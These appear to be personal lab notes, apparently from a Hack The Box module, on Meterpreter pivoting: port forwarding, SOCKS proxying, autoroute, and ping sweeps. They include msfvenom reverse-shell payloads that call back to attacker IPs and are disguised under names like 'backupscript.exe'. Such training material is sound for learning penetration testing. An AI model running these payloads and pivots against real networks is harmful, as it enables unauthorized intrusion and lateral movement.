Meterpreter Tunneling & Port Forwarding

w1j0y

Port Forwarding

- After establishing a meterpreter session
  - portfwd add -l 3300 -p 3389 -r 172.16.5.19
    - The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server 172.16.5.19 on 3389 port (-p) via our Meterpreter session. Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.
- Connecting to Windows Target through localhost
  - Connecting to Windows Target through localhost

Attack Host

- create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port 8080.
  - msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
    - Transfer the payload using scp
- start a multi/handler, also known as a Generic Payload Handler.
  - use exploit/multi/handler
  - set lport 8080
  - set payload linux/x64/meterpreter/reverse_tcp
  - run
    - Meterpreter session opened
      - Execute payload
      - Ping Sweep
        - run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
- There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.
  - Configuring MSF's SOCKS Proxy
    - use auxiliary/server/socks_proxy
      - set SRVPORT 9050
      - set SRVHOST 0.0.0.0
      - set version 4a
      - run
        - After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host.
          - socks4 127.0.0.1 9050
            - Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the post/multi/manage/autoroute module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.
              - use post/multi/manage/autoroute
              - set session 1
              - set SUBNET 172.16.5.0
              - run
              - It is also possible to add routes with autoroute by running autoroute from the Meterpreter session
                - run autoroute -s 172.16.5.0/23
- Testing Proxy & Routing Functionality
  - w1j0y@htb[/htb]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

Meterpreter Reverse Port Forwarding

- Metasploit can also perform reverse port forwarding with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host.

  This command forwards all connections on port 1234 running on the Ubuntu server to our attack host on local port (-l) 8081. We will also configure our listener to listen on port 8081 for a Windows shell.
  - portfwd add -R -l 8081 -p 1234 -L 10.10.14.18Configuring & Starting multi/handler
- Configuring & Starting multi/handler
  - bg
  - set payload windows/x64/meterpreter/reverse_tcp
  - set LHOST 0.0.0.0
  - set LPORT 8081
  - run
    - Meterpreter shell
      - Shell pivoted via the Ubuntu Server
      - Transfer backupscript.exe to Windows Host
      - Execute backupscript.exe payload
- create a reverse shell payload that will send a connection back to our Ubuntu server on 172.16.5.129:1234 when executed on our Windows host. Once our Ubuntu server receives this connection, it will forward that to attack host's ip:8081 that we configured.
  - Generating the Windows Payload
    - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
      - Transfer to Ubuntu Host

Windows Host

- Host is on the 172.16.5.0/23
- Ping Sweep For Loop Using CMD
  - for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
- Ping Sweep Using PowerShell
  - 1..254 | % {"172.16.6.$($_): $(Test-Connection -count 1 -comp 172.16.6.$($_) -quiet)"}

Ubuntu Pivot Host

- Ping Sweep For Loop on Linux Pivot Hosts
  - for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done